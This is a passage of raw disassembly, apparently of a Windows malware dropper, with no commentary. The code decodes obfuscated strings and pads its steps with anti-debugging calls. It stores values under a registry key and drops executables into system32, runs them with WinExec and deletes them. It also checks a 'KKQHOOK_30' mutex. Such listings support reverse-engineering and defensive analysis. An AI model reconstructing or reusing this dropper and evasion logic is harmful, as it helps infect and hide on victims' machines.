sub_40A74E+79Ao var_55CC = dword ptr -55CCh var_55C6 = byte ptr -55C6h var_55BE = byte ptr -55BEh var_55B6 = word ptr -55B6h var_55B4 = dword ptr -55B4h var_55AE = byte ptr -55AEh var_4710 = byte ptr -4710h var_4708 = dword ptr -4708h var_4701 = byte ptr -4701h var_46FE = byte ptr -46FEh var_46FD = byte ptr -46FDh var_46F7 = byte ptr -46F7h var_46F2 = byte ptr -46F2h var_46EA = word ptr -46EAh var_46E8 = dword ptr -46E8h var_46E4 = dword ptr -46E4h var_46DE = byte ptr -46DEh var_46DD = byte ptr -46DDh var_46DC = dword ptr -46DCh var_46D8 = dword ptr -46D8h var_46D1 = byte ptr -46D1h var_46D0 = byte ptr -46D0h var_46CC = dword ptr -46CCh var_46C8 = dword ptr -46C8h var_46C4 = dword ptr -46C4h var_46C0 = dword ptr -46C0h var_46BC = dword ptr -46BCh var_46B8 = dword ptr -46B8h var_46B2 = byte ptr -46B2h var_45B3 = byte ptr -45B3h var_45AF = byte ptr -45AFh var_35D2 = byte ptr -35D2h var_35CC = word ptr -35CCh var_35CA = word ptr -35CAh var_35C7 = byte ptr -35C7h var_35BF = byte ptr -35BFh var_35B8 = dword ptr -35B8h var_35B4 = dword ptr -35B4h var_35B0 = dword ptr -35B0h var_35A9 = byte ptr -35A9h var_35A2 = word ptr -35A2h var_35A0 = dword ptr -35A0h var_359B = byte ptr -359Bh var_259C = byte ptr -259Ch var_2599 = byte ptr -2599h var_2597 = byte ptr -2597h var_15A8 = dword ptr -15A8h var_15A4 = dword ptr -15A4h var_159E = byte ptr -159Eh var_159D = byte ptr -159Dh var_159A = word ptr -159Ah var_1598 = dword ptr -1598h var_1144 = byte ptr -1144h var_113F = byte ptr -113Fh var_1139 = byte ptr -1139h var_1138 = byte ptr -1138h var_1133 = byte ptr -1133h var_112E = word ptr -112Eh var_112C = byte ptr -112Ch var_1125 = byte ptr -1125h var_1124 = byte ptr -1124h var_111F = byte ptr -111Fh var_1020 = dword ptr -1020h var_101B = byte ptr -101Bh var_101A = byte ptr -101Ah var_1019 = byte ptr -1019h var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_F0C = dword ptr -0F0Ch var_F08 = byte ptr -0F08h var_708 = dword ptr -708h var_703 = byte ptr -703h var_604 = dword ptr -604h var_600 = byte ptr -600h var_5A8 = byte ptr -5A8h var_5A7 = byte ptr -5A7h var_400 = byte ptr -400h push ebp mov ebp, esp mov eax, 55CCh call sub_40C43C push ebx push esi push edi call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_1124] lea esi, aO8_ ; "O 8." mov ecx, 5 rep movsb lea edi, [ebp+var_1125] lea esi, byte_4469C3 xor ecx, ecx inc ecx rep movsb lea edi, [ebp+var_112C] lea esi, aOacPl ; "oac-Pl" mov ecx, 7 rep movsb mov ax, word_4469CB mov [ebp+var_112E], ax lea edi, [ebp+var_1133] lea esi, aW9 ; " +W9" mov ecx, 5 rep movsb call sub_40C548 ; GetTickCount push eax call sub_40C9E0 pop ecx call sub_40C5D8 ; IsDebuggerPresent loc_409900: ; CODE XREF: sub_409883+E5Bj mov eax, dword_43C094 add eax, 7 push eax lea eax, [ebp+var_703] push eax call sub_4016D2 call sub_40C4B8 ; GetCurrentProcessId push 9 push offset aVyVAdq ; " vY v+adq" call sub_40129C lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40C9D4 call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_400] push eax call sub_4034C6 push 9 push offset aMqqu?V ; "mqqu?** v" call sub_40129C mov edi, dword_43C0B8 push off_43C0C0[edi*4] push eax lea edi, [ebp+var_F08] push edi call sub_40C9D4 mov [ebp+var_101A], 3Ch add [ebp+var_101A], 0D7h push 1 push offset asc_446CD6 ; "*" call sub_40129C mov edi, 10h sub edi, dword_43C098 push edi push eax mov edi, dword_43C0B8 push off_43C0C0[edi*4] call sub_4017D2 add esp, 4Ch cmp eax, 0FFFFh jnz short loc_4099D5 push 9 push offset aRdfhUmu ; "*rdfh+umu" call sub_40129C push eax lea edi, [ebp+var_F08] push edi call sub_40C9F8 add esp, 10h loc_4099D5: ; CODE XREF: sub_409883+134j call sub_40C4E8 ; RtlGetLastWin32Error and [ebp+var_1018], 0 mov [ebp+var_1020], 4 call sub_40C4E8 ; RtlGetLastWin32Error push 1Ah push offset aVjcqrdwYhlfwjv ; "Vjcqrdw`YHlfwjvjcqYRlkajrv" call sub_40129C mov [ebp+var_1598], eax push 3 push offset aLcf ; "lcf" call sub_40129C lea edi, [ebp+var_1138] push edi lea edi, [ebp+var_1020] push edi lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp+var_1598] push edi push 80000001h call sub_401490 lea edi, [ebp+var_1139] lea esi, byte_4469D2 xor ecx, ecx inc ecx rep movsb push 7 push offset aLcf8P ; ":lcf8 p" call sub_40129C push [ebp+var_1018] push eax lea edi, [ebp+var_111F] push edi call sub_40C9D4 lea eax, [ebp+var_111F] push eax lea eax, [ebp+var_F08] push eax call sub_40C9F8 lea edi, [ebp+var_113F] lea esi, aZis8 ; " ZIs8" mov ecx, 3 rep movsw push 1 push offset aT ; "t" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_F08] push edi push 0 call sub_4062A9 add esp, 6Ch mov ebx, eax or ebx, ebx jnz short loc_409AFE mov [ebp+var_159A], 7656h add [ebp+var_159A], 78E9h lea eax, [ebp+var_400] push eax call sub_40355C pop ecx lea edi, [ebp+var_159D] lea esi, aKa ; "KA" mov ecx, 3 rep movsb jmp loc_40A5CE ; --------------------------------------------------------------------------- loc_409AFE: ; CODE XREF: sub_409883+242j and [ebp+var_1018], 0 push 1Ah push offset aVjcqrdwYhlfwjv ; "Vjcqrdw`YHlfwjvjcqYRlkajrv" call sub_40129C mov [ebp-159Ch], eax push 3 push offset aLcf ; "lcf" call sub_40129C push 4 push 4 lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp-159Ch] push edi push 80000001h call sub_4015B0 call sub_40C554 ; GetVersion push 0 lea eax, [ebp+var_400] push eax call sub_401A43 add esp, 30h mov [ebp+var_F0C], eax or eax, eax jz loc_40A5CE call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp+var_400] push eax call sub_40C488 ; DeleteFileA call sub_40C554 ; GetVersion lea eax, [ebp+var_400] push eax call sub_40355C pop ecx call sub_40C548 ; GetTickCount and [ebp+var_708], 0 jmp loc_40A587 ; --------------------------------------------------------------------------- loc_409B98: ; CODE XREF: sub_409883+D27j call sub_40C4C4 ; GetCurrentThreadId cmp [ebp+var_600], 0 jz loc_40A587 call sub_40C548 ; GetTickCount lea ecx, [ebp+var_600] or eax, 0FFFFFFFFh loc_409BB8: ; CODE XREF: sub_409883+33Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409BB8 cmp eax, 5Ch jb loc_40A587 call sub_40C554 ; GetVersion mov [ebp+var_5A8], 0 lea edi, [ebp+var_35A9] lea esi, aVHE ; "~H:!e" mov ecx, 7 rep movsb push 0FFFh lea eax, [ebp+var_259C] push eax lea eax, [ebp+var_5A7] push eax call sub_408A4F push 0FFFh lea eax, [ebp+var_359B] push eax lea eax, [ebp+var_600] push eax call sub_408A4F add esp, 18h mov [ebp+var_159E], 0 call sub_40C518 ; GetProcessHeap mov [ebp+var_159D], 0 jmp short loc_409C4D ; --------------------------------------------------------------------------- loc_409C2F: ; CODE XREF: sub_409883+3E3j movzx eax, [ebp+var_159D] lea edx, [ebp+eax+var_259C] movsx ecx, byte ptr [edx] sub ecx, eax mov eax, ecx mov [edx], al add [ebp+var_159D], 1 loc_409C4D: ; CODE XREF: sub_409883+3AAj lea ecx, [ebp+var_259C] or eax, 0FFFFFFFFh loc_409C56: ; CODE XREF: sub_409883+3D8j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409C56 movzx esi, [ebp+var_159D] cmp esi, eax jb short loc_409C2F mov [ebp+var_35A0], 7884h inc [ebp+var_35A0] lea ecx, [ebp+var_259C] or eax, 0FFFFFFFFh loc_409C81: ; CODE XREF: sub_409883+403j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409C81 lea esi, [ebp+var_359B] push esi push eax lea edi, [ebp+var_259C] push edi call sub_408884 add esp, 0Ch mov [ebp+var_35B0], eax mov [ebp+var_35A2], 400Ah inc [ebp+var_35A2] push 5 push offset aRuvq ; "ruvq%" call sub_40129C add esp, 8 mov edi, 10h sub edi, dword_43C098 push edi push eax lea edi, [ebp+var_259C] push edi call sub_4017D2 add esp, 0Ch cmp eax, 0 jnz loc_40A220 call sub_40C548 ; GetTickCount mov ax, word_4469E3 mov [ebp+var_46EA], ax call sub_40C518 ; GetProcessHeap lea eax, [ebp+var_2597] push eax lea eax, [ebp+var_45B3] push eax call sub_40C45C lea edi, [ebp+var_46F2] lea esi, aQ1Q5k ; "Q1^Q!5k" mov ecx, 8 rep movsb mov [ebp+var_35B4], 0 mov [ebp+var_46B8], 4 call sub_40C554 ; GetVersion lea eax, [ebp+var_46D0] push eax lea eax, [ebp+var_46B8] push eax lea eax, [ebp+var_35B4] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_401490 add esp, 18h call sub_40C518 ; GetProcessHeap mov eax, 17h sub eax, dword_43C098 push eax lea eax, [ebp+var_703] push eax call sub_4016D2 add esp, 8 call sub_40C548 ; GetTickCount push 9 push offset aVyVAdq ; " vY v+adq" call sub_40129C add esp, 8 lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40C9D4 add esp, 10h call sub_40C4E8 ; RtlGetLastWin32Error push 1 push offset aT ; "t" call sub_40129C add esp, 8 lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_45B3] push edi push offset dword_41FB70 call sub_4062A9 add esp, 20h mov ebx, eax call sub_40C548 ; GetTickCount cmp ebx, 0 jnz short loc_409E30 call sub_40C518 ; GetProcessHeap lea eax, [ebp+var_400] push eax call sub_40355C add esp, 4 lea edi, [ebp+var_4701] lea esi, a1g ; "1G" mov ecx, 3 rep movsb jmp short loc_409E9E ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: sub_409883+582j push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4015B0 mov [ebp+var_46BC], 740Eh mov eax, [ebp+var_46BC] mov edx, eax add edx, eax mov [ebp+var_46BC], edx lea eax, [ebp+var_400] push eax call sub_40355C add esp, 1Ch lea edi, [ebp+var_46F7] lea esi, aKdb ; ",kd" mov ecx, 5 rep movsb call sub_408C55 mov [ebp+var_46D1], 49h add [ebp+var_46D1], 71h loc_409E9E: ; CODE XREF: sub_409883+5ABj and [ebp+var_35B4], 0 mov [ebp+var_46B8], 4 lea eax, [ebp+var_46D0] push eax lea eax, [ebp+var_46B8] push eax lea eax, [ebp+var_35B4] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_401490 add esp, 18h mov [ebp+var_46C0], 393Ch mov eax, [ebp+var_46C0] mov edx, eax add edx, eax mov [ebp+var_46C0], edx push 0 push 0 push 4 push 0 push 0 push 80000000h push offset dword_40DFE0 call sub_40C650 ; CreateFileA mov [ebp+var_46C8], eax push 0 push eax call sub_40C4D0 ; GetFileSize mov [ebp+var_46E8], eax mov [ebp+var_46D8], 164Ah add [ebp+var_46D8], 351Ah push [ebp+var_46C8] call sub_40C530 ; CloseHandle call sub_40C518 ; GetProcessHeap mov eax, [ebp+var_46E8] cmp [ebp+var_35B4], eax jb short loc_409F5E call sub_40C518 ; GetProcessHeap jmp loc_40A074 ; --------------------------------------------------------------------------- loc_409F5E: ; CODE XREF: sub_409883+6CFj lea edi, [ebp+var_46FD] lea esi, aZn7? ; "zN7?>" mov ecx, 3 rep movsw mov eax, 17h sub eax, dword_43C098 push eax lea eax, [ebp+var_46B2] push eax call sub_4016D2 push 9 push offset aVyVQhu ; " vY v+qhu" call sub_40129C lea edi, [ebp+var_46B2] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40C9D4 lea eax, [ebp+var_400] push eax call sub_4034C6 lea edi, [ebp+var_46FE] lea esi, byte_4469FB xor ecx, ecx inc ecx rep movsb push 1 push offset aT ; "t" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35B4] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_45B3] push edi push offset dword_40DFE0 call sub_4062A9 mov ebx, eax call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_400] push eax call sub_40C488 ; DeleteFileA mov [ebp+var_46DC], 375Ch add [ebp+var_46DC], 732Ch lea eax, [ebp+var_400] push eax call sub_40355C add esp, 50h call sub_40C518 ; GetProcessHeap or ebx, ebx jz short loc_40A074 call sub_40C518 ; GetProcessHeap cmp [ebp+var_604], 0 jz short loc_40A074 push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4015B0 add esp, 18h loc_40A074: ; CODE XREF: sub_409883+6D6j ; sub_409883+7BFj ... call sub_408C55 mov [ebp+var_46DD], 6 add [ebp+var_46DD], 1 push 0 push 80h push 3 push 0 push 0 push 80000000h push offset dword_414EF0 call sub_40C650 ; CreateFileA mov [ebp+var_46CC], eax call sub_40C4E8 ; RtlGetLastWin32Error cmp [ebp+var_46CC], 0FFFFFFFFh jz loc_40A5CE push [ebp+var_46CC] call sub_40C530 ; CloseHandle mov [ebp+var_46DE], 9Ch add [ebp+var_46DE], 1 lea eax, [ebp+var_45B3] push eax lea eax, [ebp+var_F08] push eax call sub_40C9D4 push 6 push offset aAhu87 ; ":ahu87" call sub_40129C push eax lea edi, [ebp+var_F08] push edi call sub_40C9F8 call sub_40C548 ; GetTickCount lea eax, [ebp+var_400] push eax call sub_4034C6 mov [ebp+var_46C4], 2B7Eh mov eax, [ebp+var_46C4] mov edx, eax add edx, eax mov [ebp+var_46C4], edx mov eax, dword_43C094 add eax, 7 push eax lea eax, [ebp+var_46B2] push eax call sub_4016D2 call sub_40C518 ; GetProcessHeap push 9 push offset aVyVAdq ; " vY v+adq" call sub_40129C lea edi, [ebp+var_46B2] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40C9D4 call sub_40C4B8 ; GetCurrentProcessId push 1 push offset aT ; "t" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35B4] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_F08] push edi push offset dword_414EF0 call sub_4062A9 mov ebx, eax call sub_40C554 ; GetVersion lea eax, [ebp+var_400] push eax call sub_40C488 ; DeleteFileA mov [ebp+var_46E4], 1915h mov eax, 2D3Eh mul [ebp+var_46E4] mov [ebp-4704h], eax mov [ebp+var_46E4], eax lea eax, [ebp+var_400] push eax call sub_40355C add esp, 68h call sub_40C4E8 ; RtlGetLastWin32Error or ebx, ebx jz short loc_40A220 mov [ebp+var_4708], 1CBh add [ebp+var_4708], 1932h push offset dword_414EF0 call sub_40C488 ; DeleteFileA lea edi, [ebp+var_4710] lea esi, a8a5 ; "`<$8a5!" movsd movsd loc_40A220: ; CODE XREF: sub_409883+460j ; sub_409883+96Fj cmp [ebp+var_259C], 3Ah jnz loc_40A41C cmp [ebp+var_2599], 3Ah jnz loc_40A41C mov [ebp+var_35B8], 41E8h sub [ebp+var_35B8], 31EAh lea edi, [ebp+var_35BF] lea esi, aXern ; "<xerN " mov ecx, 7 rep movsb mov [ebp+var_2599], 0 push 5 push offset a?57p ; "? 57p" call sub_40129C lea edi, [ebp+var_35B4] push edi push eax lea edi, [ebp+var_259C] push edi call sub_40C9EC add esp, 14h call sub_40C518 ; GetProcessHeap cmp [ebp+var_35B4], 0 jz short loc_40A2C2 call sub_40C9BC mov edx, 621B97C3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax inc edi cmp edi, [ebp+var_35B4] ja loc_40A587 loc_40A2C2: ; CODE XREF: sub_409883+A14j lea edi, [ebp+var_35C7] lea esi, a9aZ59 ; "9A |Z59" movsd movsd cmp ds:dword_419730, 2 jnz short loc_40A330 call sub_40C4E8 ; RtlGetLastWin32Error push 400h lea eax, [ebp+var_400] push eax call sub_40C524 ; GetSystemDirectoryA push 0Ah push offset aVyfhaUlc ; " vYfha+ulc" call sub_40129C lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_1010] push edi call sub_40C9D4 push 8 push offset aYfha ; "Yfha+`}`" call sub_40129C push eax lea edi, [ebp+var_400] push edi call sub_40C9F8 add esp, 24h jmp loc_40A3D0 ; --------------------------------------------------------------------------- loc_40A330: ; CODE XREF: sub_409883+A54j call sub_40C5D8 ; IsDebuggerPresent push 400h lea eax, [ebp+var_400] push eax call sub_40C578 ; GetWindowsDirectoryA mov [ebp+var_35CC], 49BBh movzx eax, [ebp+var_35CC] imul eax, 6EEBh mov [ebp+var_35CC], ax push 0Eh push offset aVyfjhhdkaUlc ; " vYfjhhdka+ulc" call sub_40129C lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_1010] push edi call sub_40C9D4 mov [ebp+var_35CA], 6711h movzx eax, [ebp+var_35CA] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_35CA], ax push 0Ch push offset aYfjhhdkaFjh ; "Yfjhhdka+fjh" call sub_40129C push eax lea edi, [ebp+var_400] push edi call sub_40C9F8 add esp, 24h lea edi, [ebp+var_35D2] lea esi, a?0n ; "?>%0N" mov ecx, 3 rep movsw loc_40A3D0: ; CODE XREF: sub_409883+AA8j lea eax, [ebp+var_1010] push eax call sub_40C488 ; DeleteFileA push 8 push offset aVFV ; " v%*F% v" call sub_40129C lea edi, [ebp+var_259C] add edi, 4 push edi lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_400] push edi call sub_40C9D4 add esp, 18h call sub_40C4E8 ; RtlGetLastWin32Error push 0 lea eax, [ebp+var_400] push eax call sub_40C6BC ; WinExec loc_40A41C: ; CODE XREF: sub_409883+9A4j ; sub_409883+9B1j push 5 push offset aRpua ; "rpua%" call sub_40129C mov edi, 2 sub edi, dword_43C094 push edi push eax lea edi, [ebp+var_259C] push edi call sub_4017D2 add esp, 14h or eax, eax jnz loc_40A587 mov ax, word_446A19 mov [ebp+var_55B6], ax lea edi, [ebp+var_55BE] lea esi, byte_446A1B movsd movsd mov eax, 16h sub eax, dword_43C098 push eax lea eax, [ebp+var_703] push eax call sub_4016D2 call sub_40C4B8 ; GetCurrentProcessId push 9 push offset aVyVAdq ; " vY v+adq" call sub_40129C lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_45AF] push edi call sub_40C9D4 call sub_40C518 ; GetProcessHeap lea edi, [ebp+var_55C6] lea esi, aVchcV ; "|Vchc$V" mov ecx, 2 rep movsd lea eax, [ebp+var_2597] push eax lea eax, [ebp+var_55AE] push eax call sub_40C45C push 3 push offset aA7 ; "}a7" call sub_40129C mov [ebp+var_55CC], eax push 1 push offset aT ; "t" call sub_40129C push 0 push 0 push 0 push eax mov edi, [ebp+var_55CC] push edi lea edi, [ebp+var_45AF] push edi lea edi, [ebp+var_55AE] push edi push 0 call sub_4062A9 add esp, 50h mov ebx, eax mov [ebp+var_55B4], 42DEh sub [ebp+var_55B4], 5934h cmp ebx, 2 jnz short loc_40A587 call sub_40C4E8 ; RtlGetLastWin32Error push 0 lea eax, [ebp+var_45AF] push eax call sub_40C6BC ; WinExec push 6 push offset aKRsW ; "k`rs`w" call sub_40129C mov edi, 10h sub edi, dword_43C098 push edi push eax lea edi, [ebp+var_55AE] push edi call sub_4017D2 add esp, 14h cmp eax, 0FFFFh jz short loc_40A587 mov eax, 10h sub eax, dword_43C098 push eax call sub_40C980 pop ecx loc_40A587: ; CODE XREF: sub_409883+310j ; sub_409883+321j ... lea eax, [ebp+var_600] push eax push [ebp+var_708] push [ebp+var_F0C] call sub_401B83 add esp, 0Ch mov [ebp+var_708], eax or eax, eax jnz loc_409B98 push [ebp+var_F0C] call sub_40C608 ; LocalFree lea edi, [ebp+var_1144] lea esi, aWc ; " Wc" mov ecx, 5 rep movsb loc_40A5CE: ; CODE XREF: sub_409883+276j ; sub_409883+2DBj ... call sub_408C55 mov [ebp+var_1019], 51h movzx eax, [ebp+var_1019] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1019], al fld dbl_446C34 fimul dword_43C0B8 mov edi, eax call sub_40C3B4 xchg eax, edi push edi call sub_40C974 mov edi, dword_43C0BC sub edi, eax inc edi mov [ebp+var_1014], edi call sub_40C5D8 ; IsDebuggerPresent mov eax, edi mov [ebp-15A0h], eax push eax call sub_40C974 add esp, 8 mov edi, [ebp-15A0h] add edi, eax mov [ebp+var_1014], edi mov eax, edi mov edi, dword_43C0BC sub edi, dword_43C0B8 mov ecx, edi inc ecx xor edx, edx div ecx mov [ebp+var_15A4], eax mov [ebp+var_1014], eax call sub_40C9BC mov [ebp+var_15A8], eax mov eax, dword_43C0B8 mov edx, 66666667h push ecx mov ecx, eax imul edx sar edx, 1 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx lea edi, [eax+eax*4] mov esi, [ebp+var_1014] mov edx, [ebp+var_15A8] mov eax, esi imul eax, [ebp+var_15A8] mov ecx, 0Ah cdq idiv ecx lea edi, [edi+edx+5] mov dword_43C0B8, edi mov eax, dword_43C0BC cmp edi, eax jbe short loc_40A6B9 and dword_43C0B8, 0 loc_40A6B9: ; CODE XREF: sub_409883+E2Dj push 30D40h call sub_40C95C pop ecx mov [ebp+var_101B], 8Ah movzx eax, [ebp+var_101B] imul eax, 7565h mov [ebp+var_101B], al jmp loc_409900 sub_409883 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EA proc near ; CODE XREF: sub_40A74E+11p var_B = byte ptr -0Bh var_8 = dword ptr -8 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 0Ch push esi push edi lea edi, [ebp+var_B] lea esi, aJ_0 ; "J-" mov ecx, 3 rep movsb mov [ebp+var_2], 26CEh add [ebp+var_2], 6DD5h push offset aKkqhook_30 ; "KKQHOOK_30" push 0 push 1F0001h call sub_40C614 ; OpenMutexA mov [ebp+var_8], eax or eax, eax jz short loc_40A74A call sub_40C4E8 ; RtlGetLastWin32Error push [ebp+var_8] call sub_40C530 ; CloseHandle call sub_40C548 ; GetTickCount mov eax, 10h sub eax, dword_43C098 push eax call sub_40C980 pop ecx loc_40A74A: ; CODE XREF: sub_40A6EA+3Aj pop edi pop esi leave retn sub_40A6EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A74E proc near ; CODE XREF: sub_40C3D8+5Cp var_7BD = byte ptr -7BDh var_7B8 = dword ptr -7B8h var_7B3 = byte ptr -7B3h var_7B1 = byte ptr -7B1h var_7AD = byte ptr -7ADh var_7AC = byte ptr -7ACh var_7A6 = byte ptr -7A6h var_7A0 = byte ptr -7A0h var_798 = byte ptr -798h var_792 = dword ptr -792h var_78E = byte ptr -78Eh var_787 = word ptr -787h var_785 = byte ptr -785h var_780 = dword ptr -780h var_77C = word ptr -77Ch var_77A = byte ptr -77Ah var_779 = byte ptr -779h var_774 = byte ptr -774h var_770 = word ptr -770h var_76E = byte ptr -76Eh var_766 = byte ptr -766h var_667 = byte ptr -667h var_568 = byte ptr -568h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_358 = dword ptr -358h var_353 = byte ptr -353h var_352 = word ptr -352h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_346 = word ptr -346h var_344 = byte ptr -344h var_2E0 = byte ptr -2E0h var_27C = word ptr -27Ch var_279 = byte ptr -279h var_278 = dword ptr -278h var_274 = dword ptr -274h var_26E = word ptr -26Eh var_26C = word ptr -26Ch var_26A = word ptr -26Ah var_268 = byte ptr -268h var_164 = word ptr -164h var_162 = byte ptr -162h var_161 = byte ptr -161h var_5D = byte ptr -5Dh var_5C = dword ptr -5Ch var_55 = dword ptr -55h var_51 = dword ptr -51h var_4D = dword ptr -4Dh var_49 = dword ptr -49h var_45 = dword ptr -45h var_41 = dword ptr -41h var_3D = dword ptr -3Dh var_39 = dword ptr -39h var_35 = dword ptr -35h var_31 = dword ptr -31h var_2D = byte ptr -2Dh var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_1D = byte ptr -1Dh var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7C0h push ebx push esi push edi call sub_40C4C4 ; GetCurrentThreadId call sub_40A6EA lea edi, [ebp+var_76E] lea esi, aXu1gH ; "XU&1G'H" movsd movsd push 104h lea eax, [ebp+var_161] push eax call sub_40C524 ; GetSystemDirectoryA push 13h push offset aYawlsWvykalvwa ; "Yawls`wvYkalvwa+v|v" call sub_40129C push eax lea edi, [ebp+var_161] push edi call sub_40C9F8 add esp, 10h mov [ebp+var_162], 86h movzx eax, [ebp+var_162] imul eax, 1511h mov [ebp+var_162], al push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_161] push eax call sub_40C650 ; CreateFileA mov [ebp+var_358], eax cmp eax, 0FFFFFFFFh jnz short loc_40A7E6 call sub_408581 jmp short loc_40A7F1 ; --------------------------------------------------------------------------- loc_40A7E6: ; CODE XREF: sub_40A74E+8Fj push [ebp+var_358] call sub_40C530 ; CloseHandle loc_40A7F1: ; CODE XREF: sub_40A74E+96j call sub_40C5D8 ; IsDebuggerPresent push 9 push offset aKdgiAvc ; "`kdgi`avc" call sub_40129C push eax call sub_40C584 ; GlobalAddAtomA call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+arg_0] mov ds:dword_41EB6C, eax mov ds:dword_419720, 94h call sub_40C4C4 ; GetCurrentThreadId push offset dword_419720 call sub_40C560 ; GetVersionExA call sub_40C5D8 ; IsDebuggerPresent push 0FFh push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" call sub_40C524 ; GetSystemDirectoryA call sub_40C518 ; GetProcessHeap call sub_40C548 ; GetTickCount push eax call sub_40C9E0 call sub_40C554 ; GetVersion mov ax, word_446A3B mov [ebp+var_770], ax push 104h lea eax, [ebp+var_45C] push eax push [ebp+arg_0] call sub_40C4F4 ; GetModuleFileNameA mov [ebp+var_164], 72Eh add [ebp+var_164], 4E05h and [ebp+var_5C], 0 mov [ebp+var_460], 4 call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_774] push eax lea eax, [ebp+var_460] push eax lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_401490 add esp, 24h mov [ebp+var_464], eax test eax, eax jz short loc_40A90F call sub_40C4E8 ; RtlGetLastWin32Error cmp [ebp+var_5C], 1Eh jbe short loc_40A8ED mov eax, 10h sub eax, dword_43C098 push eax call sub_40C980 pop ecx loc_40A8ED: ; CODE XREF: sub_40A74E+18Bj call sub_40C4C4 ; GetCurrentThreadId cmp [ebp+var_5C], 1Eh jz loc_40AA7C lea edi, [ebp+var_7B3] lea esi, aYHny ; "y~^HNY" mov ecx, 7 rep movsb loc_40A90F: ; CODE XREF: sub_40A74E+180j lea edi, [ebp+var_779] lea esi, aV6ta ; "V6ta" mov ecx, 5 rep movsb lea edi, [ebp+var_77A] lea esi, byte_446A49 xor ecx, ecx inc ecx rep movsb call sub_40C9BC mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_2D], dl mov [ebp+var_5D], 0B7h movzx eax, [ebp+var_5D] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5D], al mov [ebp+var_1], 1 jmp short loc_40A99B ; --------------------------------------------------------------------------- loc_40A96E: ; CODE XREF: sub_40A74E+252j call sub_40C9BC movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_2D], dl add [ebp+var_1], 1 loc_40A99B: ; CODE XREF: sub_40A74E+21Ej mov al, [ebp+var_1] cmp al, 8 jbe short loc_40A96E call sub_40C518 ; GetProcessHeap mov [ebp+var_25], 0 call sub_40C9BC mov edx, eax test dl, 1 jnz short loc_40A9D0 lea edi, [ebp+var_7AD] lea esi, byte_446A4A xor ecx, ecx inc ecx rep movsb mov [ebp+var_27], 33h mov [ebp+var_26], 32h loc_40A9D0: ; CODE XREF: sub_40A74E+267j push 9 push offset aVyV ; " vY v+`}`" call sub_40129C lea edi, [ebp+var_2D] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_268] push edi call sub_40C9D4 mov ax, word_446A4B mov 